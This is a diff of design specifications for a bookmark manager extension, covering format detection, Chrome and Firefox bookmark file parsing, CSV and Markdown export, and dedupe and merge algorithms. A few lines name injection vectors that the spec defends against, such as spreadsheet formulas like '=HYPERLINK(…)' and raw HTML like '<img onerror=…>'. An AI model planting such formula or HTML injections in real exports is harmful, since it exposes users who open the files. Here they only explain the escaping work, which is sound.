| Chrome `Bookmarks` (§2a) | ✔ | ✖ | structure+dates | The profile file itself — the copy left when the browser no longer starts; keeps Other and Mobile |
|
||||
| Firefox JSON backup (§2b) | ✔ | ✖ | structure+dates | `bookmarks-YYYY-MM-DD.json` from Library → Backup…; keeps Mobile, which Firefox's HTML export drops |
|
||||
| CSV (RFC 4180) | ✔ | ✔ | flattened | Spreadsheet review/editing |
|
||||
| Markdown | ✖ | ✔ | — | Human-readable sharing (blog posts, Discord, README) |
|
||||
|
||||
`detect-format.ts` sniffs content (never trusts the file extension):
|
||||
`<!DOCTYPE NETSCAPE-Bookmark-file-1` (case-insensitive, first 512 bytes) →
|
||||
HTML; leading `{` + parses with `format:"bookmarkmagic"` → JSON; else try CSV header.
|
||||
**Sniffing** (`detect-format.ts`, called only through `parse-file.ts`'s
|
||||
`parseBookmarkFile`) reads content and never the extension — Chrome's file has
|
||||
none — after stripping a BOM:
|
||||
|
||||
1. Text whose first non-blank character is `{` or `[` is JSON. It is parsed
|
||||
**exactly once** and routed by shape: `format: "bookmarkmagic"` → BM JSON;
|
||||
an object `roots` holding `bookmark_bar`, `other` or `synced` → Chrome;
|
||||
`type: "text/x-moz-place-container"` (or `root: "placesRoot"`) with a
|
||||
`children` array → Firefox. Valid JSON matching none → `NOT_BM_JSON`
|
||||
(meaning, since v1.1.0, "JSON, but no bookmark file we know"); invalid JSON →
|
||||
`MALFORMED_JSON`. JSON is tested first so a title quoting the doctype can
|
||||
never make a JSON file look like HTML.
|
||||
2. `<!DOCTYPE NETSCAPE-Bookmark-file-1` (case-insensitive) as the first thing
|
||||
in the file after whitespace and comments → HTML. Anchored since v1.1.0: the
|
||||
old probe accepted the marker anywhere in the first 512 bytes, including
|
||||
inside a CSV title.
|
||||
3. The §3 header row → CSV.
|
||||
4. Any `<DL` → HTML (the parser decides whether it is usable); else
|
||||
`UNKNOWN_FORMAT`.
|
||||
|
||||
The file picker has no `accept` filter for the same reason: a filter on
|
||||
`.html,.json,.csv` hid Chrome's `Bookmarks` file.
|
||||
|
||||
---
|
||||
|
||||
@@ -42,14 +65,26 @@ HTML. `DOMParser('text/html')` normalizes it fine.
|
||||
```
|
||||
|
||||
Export rules: 4-space indent per depth (matches Chrome), attributes only when
|
||||
values exist, `PERSONAL_TOOLBAR_FOLDER="true"` on the toolbar root folder,
|
||||
HTML-escape `& < > "` in titles and hrefs — **and `\r` as ` `**. The last
|
||||
values exist, one **root marker** on each folder that stands for a browser root
|
||||
(below), HTML-escape `& < > "` in titles and hrefs — **and `\r` as ` `**. The last
|
||||
one is not a markup hazard but a round-trip one: the HTML tokenizer normalizes
|
||||
CR and CRLF to LF during input-stream preprocessing, so an unescaped `\r` in a
|
||||
title comes back as `\n`. A numeric reference survives, because character
|
||||
references are decoded after that normalization. `\r` reaches us from BM JSON
|
||||
and from quoted CSV fields, so this is reachable, not theoretical.
|
||||
|
||||
**Root markers** (since v1.1.0). Our own export and the Replace safety backup
|
||||
write the browser roots as top-level folders; without a marker, re-importing
|
||||
them nested a folder named "Other bookmarks" *inside* Other Bookmarks, one more
|
||||
level on every restore (`03 §1`). Exactly one attribute per folder, the toolbar
|
||||
winning:
|
||||
|
||||
| Root | Attribute | Who reads it |
|
||||
|---|---|---|
|
||||
| Bookmarks Bar | `PERSONAL_TOOLBAR_FOLDER="true"` | every browser |
|
||||
| Other Bookmarks | `UNFILED_BOOKMARKS_FOLDER="true"` | Firefox (its own exporter writes it), and us |
|
||||
| Mobile Bookmarks | `MOBILE_BOOKMARKS_FOLDER="true"` | us — importers ignore attributes they do not know |
|
||||
|
||||
### 1.2 Parse tolerance (import)
|
||||
|
||||
Must accept, with a warning where noted:
|
||||
@@ -70,9 +105,47 @@ Must accept, with a warning where noted:
|
||||
(Note the precise claim: Chrome's own importer *can* do this; the extension
|
||||
API exposes no favicon field, so we cannot.)
|
||||
- Unknown attributes ignored silently — `SHORTCUTURL`, `TAGS`, `LAST_CHARSET`,
|
||||
`POST_DATA`, `UNFILED_BOOKMARKS_FOLDER` (Firefox), `FOLDED` (Safari),
|
||||
`LAST_VISIT`, and the IE-era `FEED`/`FEEDURL`/`WEBSLICE`/`ISLIVEPREVIEW`/
|
||||
`PREVIEWSIZE`.
|
||||
`POST_DATA`, `FOLDED` (Safari), `LAST_VISIT`, and the IE-era
|
||||
`FEED`/`FEEDURL`/`WEBSLICE`/`ISLIVEPREVIEW`/`PREVIEWSIZE`.
|
||||
- The three root markers (§1.1) are read **by value**: present and not
|
||||
`false`/`0`/`no`. Firefox writes `UNFILED_BOOKMARKS_FOLDER="false"` on folders
|
||||
that are not Other Bookmarks, and v1.0.x read `PERSONAL_TOOLBAR_FOLDER` by
|
||||
presence alone, so a `="false"` made a folder the bar.
|
||||
- **Addresses** (since v1.1.0, `05 §1`): blank → skipped, `MISSING_URL`; not
|
||||
parseable (`URL.canParse` false — e.g. `www.example.com` with no scheme, a
|
||||
space in the host) → skipped, `INVALID_URL`, because `chrome.bookmarks.create`
|
||||
rejects it mid-write, after a Replace has already cleared the tree; Firefox
|
||||
`place:` smart bookmarks → skipped, `PLACE_QUERIES_SKIPPED` (Chrome's own
|
||||
importer drops them too; in Chrome they are dead links). `javascript:`,
|
||||
`data:` and `file:` addresses are kept verbatim (`09` T3). Fixture:
|
||||
`weird/invalid-urls.html`.
|
||||
- **Empty titles are kept empty** (since v1.1.0), counted as `EMPTY_TITLE`.
|
||||
They used to become the address, which turned a favicon-only Bookmarks Bar
|
||||
into a row of URLs after one export/import cycle; Chrome shows the address
|
||||
itself wherever it needs a title.
|
||||
- **A loose bookmark before a list.** With no `</DT>`, the HTML parser nests a
|
||||
following `<DL>` inside a bookmark's `<DT>`; that list is read at the same
|
||||
depth, after the bookmark. With an explicit `</DT>`, only a *folder* `<DT>`
|
||||
consumes the next body-level list. v1.0.x dropped the list in both shapes.
|
||||
Fixture: `weird/loose-first.html`.
|
||||
- **An unescaped formatting tag in a title** (`C++ <b>tips</A>`): the parser
|
||||
re-opens that `<b>` around every later entry (`dt > b > a`, `dl > b > dt`).
|
||||
Entries are found through such wrappers — a `<DT>`'s own `<A>`/`<H3>`/`<DL>`
|
||||
is any descendant whose nearest `<DT>` is that one. v1.0.x imported one
|
||||
bookmark from such a file. Fixture: `weird/unclosed-format-tag.html`. A
|
||||
`<DT>` that still yields nothing is counted as `UNREADABLE_ENTRIES`.
|
||||
- **An unescaped `<h3>` inside a bookmark title** (`<A …>Intro <h3>Heading</h3></A>`)
|
||||
is part of the title: a `<DT>`'s `<H3>` makes it a folder only when it is not
|
||||
inside that entry's own `<A>`. v1.1.0 before the review read it as an empty
|
||||
folder and dropped the address.
|
||||
- A root list wrapped in `<div>`/`<center>`/a table cell → found as an
|
||||
outermost `<DL>` when body-level collection finds nothing.
|
||||
- **Real Chrome output** writes Other's and Mobile's contents loose at the top
|
||||
level, after the bar, with no folder line (`bookmark_html_writer.cc`; fixture
|
||||
`chrome-156-export.html`, built to that writer byte for byte, CRLF included).
|
||||
The older `chrome-131-export.html` wraps them in an `Other bookmarks` folder
|
||||
that Chrome itself never writes; it is kept as a third-party shape, not as a
|
||||
record of Chrome.
|
||||
- `<HR>` separator elements (Firefox) → skipped, no warning. These are
|
||||
*elements*, so "unknown attributes ignored" does not cover them.
|
||||
- Empty folders → preserved.
|
||||
@@ -89,12 +162,14 @@ Must accept, with a warning where noted:
|
||||
child `<DL>` also lands at body level, so compute each body-level `<DT>`'s
|
||||
child list first and skip any `<DL>` already consumed that way, or the whole
|
||||
subtree is emitted twice. Algorithm in `05 §1`.
|
||||
⚠️ The exact Safari shape is still unverified against a real export — gate
|
||||
the fixture on a captured one before shipping (`11 §2`).
|
||||
⚠️ The exact Safari shape is still unverified against a real export (`00 §10`).
|
||||
|
||||
Hard failures only: no `NETSCAPE-Bookmark-file-1` doctype **and** no `<DL>`
|
||||
found; or node/size/depth caps exceeded (`TOO_MANY_NODES`, `FILE_TOO_LARGE`,
|
||||
`TOO_DEEP`). A file with a valid doctype and zero `<DL>` is **not** a failure —
|
||||
`TOO_DEEP`). The node cap is checked on the raw text (a count of `<DT` tags)
|
||||
**before** `DOMParser` runs, so a 25 MB file of 1.7 million entries is refused
|
||||
without building its DOM (`09` T2). The depth cap applies to entries: an empty
|
||||
list one level past it is harmless. A file with a valid doctype and zero `<DL>` is **not** a failure —
|
||||
it yields an empty `ParseResult` with a `NO_BOOKMARKS` warning (`05 §1`).
|
||||
|
||||
### 1.3 Timestamps
|
||||
@@ -137,12 +212,130 @@ not an anomaly, and must not raise a warning (`05 §4`).
|
||||
|
||||
- `roots` = array of `BookmarkNode` (see `02_ARCHITECTURE.md §4`). Folders may
|
||||
omit `children` (⇒ empty). Unknown extra keys are ignored on import
|
||||
(forward compatibility); `version > 1` → warning "newer file, best-effort".
|
||||
(forward compatibility); `version > 1` → warning "newer file, best-effort";
|
||||
an absent `version` is read as 1.
|
||||
- `"root": "other" | "mobile"` (since v1.1.0, folders only, never beside
|
||||
`"toolbar"`) marks a folder that IS that browser root — the JSON form of
|
||||
§1.1's markers. Additive: v1 readers ignore unknown keys, so the version stays
|
||||
1, and a 1.0.x reader simply nests as before.
|
||||
- **Legacy backups.** A 1.0.x safety backup has exactly the shape of a Chromium
|
||||
profile — `generator` `BookmarkMagic 1.0.x`, no `root` keys, three top-level
|
||||
folders, the first `toolbar` — so it is recognised and marked on read
|
||||
(`[1]` other, `[2]` mobile). Fixture: `weird/bm-legacy-1.0.1-backup.json`.
|
||||
Known limit: a 1.0.x **"Everything" export** (not a backup) from a profile
|
||||
with policy-managed bookmarks and an empty, hidden Mobile root has the same
|
||||
shape with the managed folder third, which is then read as Mobile — its
|
||||
contents land in Mobile instead of a folder. Nothing is lost; the file's
|
||||
contents are all imported.
|
||||
- Addresses: blank or unparseable → skipped with `MISSING_URL`/`INVALID_URL`
|
||||
(Chrome turns `url: ""` into a *folder*). `place:` is **kept**: this is the
|
||||
restore format, and a backup must bring back what the browser held.
|
||||
- Dates go through `timestamps.ts` like every other format, so milliseconds
|
||||
and numeric strings are read and nonsense (`1e300`) is flagged, not stored.
|
||||
- The safety backup is written **compact** (`indent: 0`, roughly half the
|
||||
bytes): it must stay under the 25 MB import cap to be restorable at all
|
||||
(`03 §1` step 6b). Exports stay indented.
|
||||
- Validation is hand-rolled structural checking in `parse/bm-json.ts`
|
||||
(no schema library — zero-dep rule). Every node: `title` string required;
|
||||
`url` if present must be string; `children` only on folders.
|
||||
- Chrome's internal `Bookmarks` file and Firefox `.json` backups are **not**
|
||||
v1 import targets (Roadmap v1.1).
|
||||
- Chrome's profile `Bookmarks` file and Firefox `.json` backups are separate
|
||||
dialects with their own sections (§2a, §2b).
|
||||
|
||||
## 2a. Chrome profile `Bookmarks` file (import only, since v1.1.0)
|
||||
|
||||
The JSON file Chromium keeps in the profile folder — `User Data/Default/Bookmarks`
|
||||
on Windows, `~/Library/Application Support/Google/Chrome/Default/Bookmarks` on
|
||||
macOS, `~/.config/google-chrome/Default/Bookmarks` on Linux — with **no
|
||||
extension**. Edge, Brave, Vivaldi and Opera keep the same file. Written by
|
||||
`BookmarkCodec`, pretty-printed by `base::JSONWriter` (3-space indent, keys
|
||||
sorted):
|
||||
|
||||
```json
|
||||
{
|
||||
"checksum": "…",
|
||||
"roots": {
|
||||
"bookmark_bar": { "children": [ … ], "date_added": "13344473600000000",
|
||||
"date_modified": "…", "guid": "…", "id": "1",
|
||||
"name": "Bookmarks bar", "type": "folder" },
|
||||
"other": { …, "name": "Other bookmarks", "type": "folder" },
|
||||
"synced": { …, "name": "Mobile bookmarks", "type": "folder" }
|
||||
},
|
||||
"version": 1
|
||||
}
|
||||
```
|
||||
|
||||
- Nodes are `{ "type": "url", "name", "url", "date_added" }` or
|
||||
`{ "type": "folder", "name", "children", "date_added", "date_modified" }`.
|
||||
`id`, `guid`, `meta_info`, `date_last_used`, `show_icon`, `source`,
|
||||
`sync_metadata` and `checksum` are ignored. **The checksum is never
|
||||
verified**, so a hand-repaired file still imports.
|
||||
- **Dates** are decimal strings of microseconds since 1601-01-01 UTC. They are
|
||||
past 2^53, so the conversion cuts the last six digits as a *string* before any
|
||||
arithmetic, then subtracts 11 644 473 600 — truncating to the second, exactly
|
||||
as Chrome's HTML writer (`ToTimeT`) does. `"0"` means unset. Run through
|
||||
§1.3's magnitude detection instead, such a value lands in the microsecond
|
||||
bucket and comes out near the year 2395 (`timestamps.ts`
|
||||
`chromeTimeToSeconds`).
|
||||
- **Roots.** The bar is always emitted, as a `toolbar` folder, with the file's
|
||||
own `name`; Other and Mobile are emitted as `root`-marked folders only when
|
||||
they hold something. A blank root name falls back to the caller's localized
|
||||
title. Any other root key — Opera's `custom_root` (Speed Dial, Trash,
|
||||
Unsorted), vendor additions — is skipped and its bookmarks counted as
|
||||
`EXTRA_ROOTS_SKIPPED`; old profiles also keep a `sync_transaction_version`
|
||||
*string* in `roots`, which is not a root and is ignored silently.
|
||||
- Addresses follow §1.2: blank → `MISSING_URL`, unparseable → `INVALID_URL`,
|
||||
`place:` → `PLACE_QUERIES_SKIPPED`. A node of any other `type`, or not an
|
||||
object at all → `UNREADABLE_ENTRIES`. Empty names are kept (`EMPTY_TITLE`).
|
||||
- **Parity rule** (the spec, tested against a Chromium-faithful pair,
|
||||
`chrome-156-Bookmarks` + `chrome-156-export.html`): the tree read from the
|
||||
profile file equals the tree read from Chrome's own HTML export of it, once
|
||||
Other's and Mobile's contents are written loose at the top level, with no
|
||||
folder line — which is what `bookmark_html_writer.cc` does. The JSON keeps
|
||||
what the HTML loses: which items were in Other and which in Mobile.
|
||||
|
||||
## 2b. Firefox JSON backup (import only, since v1.1.0)
|
||||
|
||||
`bookmarks-YYYY-MM-DD.json`, written by Library → Import and Backup → Backup…
|
||||
(the automatic `.jsonlz4` backups are compressed and are a separate, later
|
||||
item — `15`). One line of `JSON.stringify` output:
|
||||
|
||||
```json
|
||||
{"guid":"root________","title":"","type":"text/x-moz-place-container","root":"placesRoot","children":[
|
||||
{"title":"menu","root":"bookmarksMenuFolder","type":"text/x-moz-place-container","children":[…]},
|
||||
{"title":"toolbar","root":"toolbarFolder", …},
|
||||
{"title":"tags","root":"tagsFolder", …},
|
||||
{"title":"unfiled","root":"unfiledBookmarksFolder", …},
|
||||
{"title":"mobile","root":"mobileFolder", …}]}
|
||||
```
|
||||
|
||||
- Nodes: `type` `text/x-moz-place` (bookmark: `title`, `uri`), `…-container`
|
||||
(folder: `title`, `children`), `…-separator` (skipped silently, as `<HR>` is).
|
||||
A node with no `type` falls back to `typeCode` 1/2/3. Dates are **PRTime** —
|
||||
integer microseconds since the Unix epoch — converted explicitly and
|
||||
truncated, as Firefox's own HTML export does (`microsToSeconds`).
|
||||
- **Roots**, emitted in the order Firefox's HTML export writes them, whatever
|
||||
the file order: the menu's contents loose at the top level; then the toolbar
|
||||
as a `toolbar` folder and Other Bookmarks (`unfiled`) as a `root: "other"`
|
||||
folder, each only when its raw `children` list is non-empty (a toolbar holding
|
||||
only a separator still yields an empty folder, matching the exporter); then
|
||||
Mobile as a `root: "mobile"` folder — which Firefox's HTML export leaves out
|
||||
altogether. The **tags** root is dropped silently: it is a view over bookmarks
|
||||
the other roots already hold, and importing it would add every tagged
|
||||
bookmark twice. Any other root → `EXTRA_ROOTS_SKIPPED`.
|
||||
- **Root titles.** Firefox stores only the internal keys `toolbar`, `unfiled`,
|
||||
`mobile`, and localizes them at display time. The caller passes localized
|
||||
titles (`import.rootTitle.*`, `07`); with none, the file's own key is used,
|
||||
never an English string from `core/`.
|
||||
- `iconUri` (older files: `iconuri`) → `FAVICONS_IGNORED`; a
|
||||
`bookmarkProperties/description` anno → `DESCRIPTIONS_DROPPED` (counted
|
||||
where the HTML export would have written a `<DD>`); `tags`, `keyword`,
|
||||
`charset`, `postData`, `guid`, `id` and `index` are ignored silently, like
|
||||
their HTML attributes. Addresses follow §1.2, `place:` included.
|
||||
- A container that is not the places root (a hand-made or third-party file) is
|
||||
read as a plain list: its children become the top-level entries.
|
||||
- **Parity rule**, tested on `firefox-bookmarks-2026-07-25.json` against
|
||||
`firefox-html-export.html`: equal trees and warnings once the Mobile folder
|
||||
is removed.
|
||||
|
||||
## 3. CSV
|
||||
|
||||
@@ -161,7 +354,15 @@ folder_path,title,url,add_date
|
||||
from normal escaping (every literal `\` is doubled), so it is free to use.
|
||||
- RFC 4180: quote fields containing `, " \n`; escape `"` as `""`. Accept both
|
||||
`,` and `;` delimiters on import (sniff header); export delimiter is a
|
||||
Settings option (default `,`).
|
||||
Settings option (default `,`). A quoted field that never closes is
|
||||
`CSV_UNCLOSED_QUOTE`, naming the line it opened on — it used to swallow the
|
||||
rest of the file into one cell.
|
||||
- **Formula cells.** A title or folder path starting with `= + - @`, tab or CR
|
||||
(after any `'` guard quotes) is written with one extra leading `'`, and the
|
||||
reader removes exactly one again — so `=HYPERLINK(…)` is never a live formula
|
||||
in Excel, and the round trip stays exact.
|
||||
- Import also skips blank, whitespace-only and padding (`,,,`) rows, and a
|
||||
leading Excel `sep=;` line. Address rules as BM JSON (`place:` kept).
|
||||
- Rows are bookmarks only; folders are reconstructed from paths. CSV is a
|
||||
**flattened projection** — the full list of what it does not preserve, shown
|
||||
in the Export tab and asserted by the projected round-trip (`11 §3`):
|
||||
@@ -171,7 +372,9 @@ folder_path,title,url,add_date
|
||||
`undefined`, so the first path segment is an ordinary folder title, never a
|
||||
root reference (consequence spelled out in `03 §1`);
|
||||
- sibling **order** across folders: folders materialise in row order, so two
|
||||
folders' relative position is whatever the row sequence implies.
|
||||
folders' relative position is whatever the row sequence implies;
|
||||
- **same-named sibling folders merge** — two "New folder"s (Chrome's default
|
||||
name) come back as one holding both sets of contents.
|
||||
- Column order is fixed and part of the format contract — appending a column is
|
||||
a breaking change (major version, `12 §4`).
|
||||
- Export writes UTF-8 **with BOM** (Excel compatibility).
|
||||
@@ -190,8 +393,11 @@ Nested list, one line per item:
|
||||
```
|
||||
|
||||
Option "flat with headings": `##` per top-level folder, flat link lists under
|
||||
each. Escape `[ ] ( )` in titles. Angle-bracket-wrap URLs containing `)` or
|
||||
spaces.
|
||||
each. In titles, backslash-escape every character CommonMark gives meaning to
|
||||
(`` \ ` * _ { } [ ] ( ) < > # + - . ! | ~ & ``) and collapse line breaks to a
|
||||
space — escaping only the link brackets let raw HTML such as
|
||||
`<img onerror=…>` through (`09` T1) and let a newline turn the rest of the list
|
||||
into a heading. Angle-bracket-wrap URLs containing `)` or spaces.
|
||||
|
||||
## 5. Filenames
|
||||
|
||||
|
||||
@@ -1,7 +1,9 @@
|
||||
# 05 — Algorithms
|
||||
|
||||
All in `src/lib/core/` (pure, unit-tested) except the write queue
|
||||
(`src/lib/browser/write-queue.ts`, tested against a mocked API).
|
||||
(`src/lib/browser/write-queue.ts`, tested against a mocked API) and the #edit
|
||||
algorithms of §10–§11 (`src/lib/edit/` — pure and unit-tested too, but outside
|
||||
core's coverage gate, `11 §1`).
|
||||
|
||||
## 1. Netscape HTML parsing — `parse/netscape-html.ts`
|
||||
|
||||
@@ -9,36 +11,59 @@ All in `src/lib/core/` (pure, unit-tested) except the write queue
|
||||
|
||||
```
|
||||
parseNetscapeHtml(text):
|
||||
if count of '<dt' in text > MAX_NODES → BmParseError('TOO_MANY_NODES') // before any DOM
|
||||
doc = new DOMParser().parseFromString(text, 'text/html')
|
||||
hasDoctype = /NETSCAPE-Bookmark-file-1/i.test(text.slice(0, 512))
|
||||
hasEntries = doc has any <DL>, or body has a direct <DT> child
|
||||
if !hasEntries and !hasDoctype → BmParseError('NOT_NETSCAPE')
|
||||
if !hasEntries → return { roots: [], stats: emptyStats, warnings: [{ code: 'NO_BOOKMARKS' }] }
|
||||
roots = collectRoots(doc.body)
|
||||
if roots is empty → roots = walk every outermost <DL> anywhere // wrapped in <div>/<table>
|
||||
|
||||
collectRoots(body): // NOT "the outermost DL" — see 04 §1.2
|
||||
consumed = { nextDlFor(dt) for each direct <DT> child of body }
|
||||
consumed = { nextDlFor(dt) for each direct FOLDER <DT> child of body }
|
||||
roots = []
|
||||
for el of body.children in document order:
|
||||
if el is DT → roots.push(readEntry(el, depth 1))
|
||||
if el is DT → roots.push(...readEntry(el, depth 1))
|
||||
if el is DL and el not in consumed → roots.push(...walkDl(el, 1))
|
||||
return roots
|
||||
|
||||
own(dt, tag): // dt > b > a after an unclosed <b>
|
||||
return dt's direct <tag> child, else the first descendant <tag> whose closest DT is dt
|
||||
|
||||
walkDl(dl, depth):
|
||||
if depth > MAX_DEPTH → BmParseError('TOO_DEEP')
|
||||
for dt of dl children where tag == 'DT':
|
||||
h3 = dt.querySelector(':scope > h3')
|
||||
a = dt.querySelector(':scope > a')
|
||||
if h3: // folder
|
||||
node = { title: h3.textContent, toolbar: h3.hasAttribute('personal_toolbar_folder'), dates… }
|
||||
childDl = nextDlFor(dt)
|
||||
node.children = childDl ? walkDl(childDl, depth + 1) : []
|
||||
else if a: // bookmark
|
||||
node = { title: a.textContent || a.href, url: a.getAttribute('href'), dates… }
|
||||
if !node.url → warning, skip
|
||||
push node; nodeCount++; if nodeCount > MAX_NODES → BmParseError('TOO_MANY_NODES')
|
||||
for entry of dl's <DT>/<DD>, looking THROUGH wrapper elements (dl > b > dt):
|
||||
DD → warning DESCRIPTIONS_DROPPED
|
||||
DT → if depth > MAX_DEPTH → BmParseError('TOO_DEEP'); out.push(...readEntry(dt, depth))
|
||||
|
||||
readEntry(dt, depth): // returns 0..n nodes
|
||||
h3 = own(dt, 'h3')
|
||||
if h3: // folder
|
||||
node = { title: h3.textContent, toolbar/root markers by VALUE (04 §1.1), dates… }
|
||||
childDl = nextDlFor(dt); node.children = childDl ? walkDl(childDl, depth + 1) : []
|
||||
return [node]
|
||||
a = own(dt, 'a')
|
||||
if !a → warning UNREADABLE_ENTRIES; return []
|
||||
bookmark = classify(a.href): missing/invalid/place: → warning, none // see below
|
||||
else { title: a.textContent (kept, even empty → EMPTY_TITLE), url, dates… }
|
||||
swallowed = own(dt, 'dl') // a loose bookmark swallowed the next list
|
||||
return [bookmark?, ...(swallowed ? walkDl(swallowed, depth) : [])]
|
||||
every node counts against MAX_NODES → BmParseError('TOO_MANY_NODES')
|
||||
```
|
||||
|
||||
**Address classification (`core/href.ts`, every reader).** Blank →
|
||||
`MISSING_URL`. `URL.canParse` false → `INVALID_URL`: `chrome.bookmarks.create`
|
||||
rejects those with "Invalid URL." mid-write, and an extension page's
|
||||
`URL.canParse` runs the same Chromium URL library. `place:` → skipped with
|
||||
`PLACE_QUERIES_SKIPPED` in browser-written formats (Netscape HTML, Chrome, Firefox
|
||||
JSON), **kept** in BM JSON and CSV, which are restore formats. Everything else —
|
||||
`javascript:` and `data:` included — is stored verbatim (`09` T3).
|
||||
|
||||
**Titles are kept exactly as written** (since v1.1.0) — empty included, counted as
|
||||
`EMPTY_TITLE`. The old `textContent || href` fallback replaced deliberately
|
||||
cleared titles (a favicon-only bar) with full URLs. All readers share this rule
|
||||
through `parse/shared.ts`.
|
||||
|
||||
**`walkDl(null)` must be unreachable** — a valid-doctype file with zero `<DL>`
|
||||
is tolerated per `04 §1.2`, so the guard above returns an empty `ParseResult`
|
||||
rather than letting a raw `TypeError` escape `core/` (`02 §7`).
|
||||
@@ -59,7 +84,8 @@ rather than letting a raw `TypeError` escape `core/` (`02 §7`).
|
||||
|
||||
Use `textContent` (never innerHTML) → titles are inert.
|
||||
|
||||
**Complexity:** O(n) nodes, single pass. 100k nodes parse well under 1s.
|
||||
**Complexity:** O(n) nodes, single pass. Timing: see `11 §6` (the only measured
|
||||
figure is a jsdom one).
|
||||
|
||||
## 2. URL normalization — `normalize-url.ts`
|
||||
|
||||
@@ -72,14 +98,21 @@ bare-origin key from `protocol + host`, which discards `user:pass@`.
|
||||
|
||||
```
|
||||
normalizeUrl(raw):
|
||||
u = new URL(raw) // throws → return raw.trim() as-is key
|
||||
u.protocol, u.hostname → lowercase
|
||||
strip default ports (http:80, https:443)
|
||||
u = new URL(raw.trim()) // throws → return raw.trim() as-is key
|
||||
// the parser already lowercases scheme + host
|
||||
// and drops default ports (http:80, https:443)
|
||||
if u.search == '' → u.search = '' // a BARE ? or # is the same link without it:
|
||||
if u.hash == '' → u.hash = '' // assigning '' removes the delimiter
|
||||
if u.pathname == '/' and no search/hash → key without trailing slash
|
||||
keep search & hash verbatim // conservative: ?q= and #section are meaningful
|
||||
return u.toString()
|
||||
return u.href
|
||||
```
|
||||
|
||||
The two empty-delimiter lines are a v1.1.0 fix. Reading `search`/`hash` cannot
|
||||
tell a bare `?` from none, so `https://a.example/?` passed the bare-origin test
|
||||
and the slash-trim cut its `?` instead of the slash — the key never matched
|
||||
`https://a.example/`, and dedupe missed the pair.
|
||||
|
||||
Explicitly **not** done: stripping `utm_*`, stripping `www.`, unifying
|
||||
http/https — too opinionated for a dedupe default. (Roadmap: optional
|
||||
"aggressive dedupe" toggle.)
|
||||
@@ -87,7 +120,7 @@ http/https — too opinionated for a dedupe default. (Roadmap: optional
|
||||
## 3. Dedupe — `dedupe.ts`
|
||||
|
||||
```
|
||||
buildUrlIndex(tree) → Map<normKey, count> // O(n), from current browser tree
|
||||
buildUrlIndex(tree) → Set<normKey> // O(n), iterative, from current browser tree
|
||||
dedupeAgainst(nodes, index):
|
||||
DFS copy of import tree
|
||||
drop bookmark if index.has(key) → skippedExisting++
|
||||
@@ -102,16 +135,22 @@ file" are different facts and the user sees both separately in the report
|
||||
(`02 §4` `stats`). Keep them apart end to end — a single `skippedDuplicates`
|
||||
made the report, the checkbox label and the StatsCard disagree.
|
||||
|
||||
**Replace mode: pass an empty index.** The browser tree is deleted before the
|
||||
**Replace mode: no dedupe at all.** The browser tree is deleted before the
|
||||
write (`§6`), so nothing can already exist. Building the plan against the live
|
||||
index would skip every bookmark of a user re-importing their own backup and
|
||||
leave them with nothing. In-file collapsing still applies. The UI enforces the
|
||||
same thing by disabling the checkbox (`03 §1`, `06 §3.1`).
|
||||
leave them with nothing. Since v1.1.0 in-file collapsing is off too —
|
||||
`buildImportPlan` skips `dedupeAgainst` entirely when `mode === 'replace'`, so
|
||||
two copies of a link in a backup are two bookmarks after the restore (1.0.x
|
||||
still collapsed them). The UI enforces the same thing by disabling the checkbox
|
||||
(`03 §1`, `06 §3.1`).
|
||||
|
||||
Duplicate finder (#edit) reuses the same normalized-URL keying, but over the
|
||||
**live** tree — `Map<normKey, chrome.bookmarks.BookmarkTreeNode[]>`, so each
|
||||
entry carries the `id` that per-item delete needs. Groups with length > 1,
|
||||
ordered by group size desc.
|
||||
**live** tree — `findDuplicateGroups` over the #edit nodes, so each entry
|
||||
carries the `id` that per-item delete needs. Groups with length > 1, ordered by
|
||||
group size desc. Since v1.1.0 it runs **only while the panel or its
|
||||
confirmation is showing** (1.0.x rescanned the whole tree on every live event,
|
||||
panel open or not), and policy-managed copies are left out — the browser
|
||||
refuses to delete them, so offering it was a lie.
|
||||
|
||||
## 4. Timestamp normalization — `timestamps.ts`
|
||||
|
||||
@@ -140,8 +179,12 @@ Two deliberate choices:
|
||||
|
||||
The µs bucket is **defensive**, not a known-live case: every browser that
|
||||
writes Netscape HTML emits seconds, including Firefox. Microsecond values come
|
||||
only from non-browser exporters and from Firefox `.json` backups, which are out
|
||||
of scope until v1.1 (`04 §2`).
|
||||
from non-browser exporters — and from the two browser JSON files, which have
|
||||
their own converters precisely so that they never go through magnitude
|
||||
guessing: Chrome's `Bookmarks` file counts microseconds since **1601**
|
||||
(`chromeTimeToSeconds`, by string slicing — the values exceed 2^53), and
|
||||
Firefox's backup counts PRTime microseconds since 1970 (`microsToSeconds`). A
|
||||
1971 PRTime date is about 3e13 and would read as milliseconds here (`04 §2a/§2b`).
|
||||
|
||||
Round to integer seconds. HTML/JSON/CSV export always writes seconds — which is
|
||||
what browsers put in *files*. Do not confuse this with `chrome.bookmarks`,
|
||||
@@ -161,8 +204,35 @@ diffAgainstBrowser(parsed.roots, browserIndex):
|
||||
return { newCount, existsCount, perNodeStatus: WeakMap } // WeakMap feeds preview badges
|
||||
```
|
||||
|
||||
Merge-mode folder matching: key = join of ancestor titles `['Bookmarks bar','Dev']`
|
||||
(exact, case-sensitive) → existing folder id map built once from browser tree.
|
||||
**Merge-mode folder matching** — `core/merge.ts` `planIntoFolder` (since
|
||||
v1.1.0; 1.0.x documented this and never called it). Per destination root,
|
||||
after routing (`03 §1`):
|
||||
|
||||
```
|
||||
visit(fileNodes, liveParent, trail):
|
||||
byTitle = first writable child FOLDER of liveParent per exact title // lazily, once
|
||||
for node of fileNodes:
|
||||
if node is a folder and byTitle has node.title:
|
||||
reused++; visit(node.children, thatLiveFolder, trail + title) // never created
|
||||
else:
|
||||
segment(liveParent.id).nodes.push(node) // created, subtree inside
|
||||
```
|
||||
|
||||
- Matching is **level by level**: a file folder is compared only with the
|
||||
children of the live folder its parent matched — so a "Dev" below a folder
|
||||
that does not exist yet is never matched against some other "Dev".
|
||||
- Exact and case-sensitive; bookmarks never match folders; policy-managed
|
||||
(`unmodifiable`) folders never match and are never descended into; the first
|
||||
of two same-named live siblings wins.
|
||||
- Two same-named folders in the *file* that both match one live folder both
|
||||
write into it; when neither matches, both are created. Replace plans through
|
||||
the same function against emptied roots, so it creates everything and keeps
|
||||
the file's structure exactly.
|
||||
- Recursion follows the file tree, which the parsers cap at 200 levels; the
|
||||
live tree is only ever read one matched folder at a time.
|
||||
- Properties asserted over 200 random file/live pairs (`merge.test.ts`): every
|
||||
`parentId` is a writable live folder; created + reused = every file node; no
|
||||
created folder has the title of a writable folder already in its parent.
|
||||
|
||||
## 6. Sequential write queue — `browser/write-queue.ts`
|
||||
|
||||
@@ -173,18 +243,20 @@ creating in order).
|
||||
```
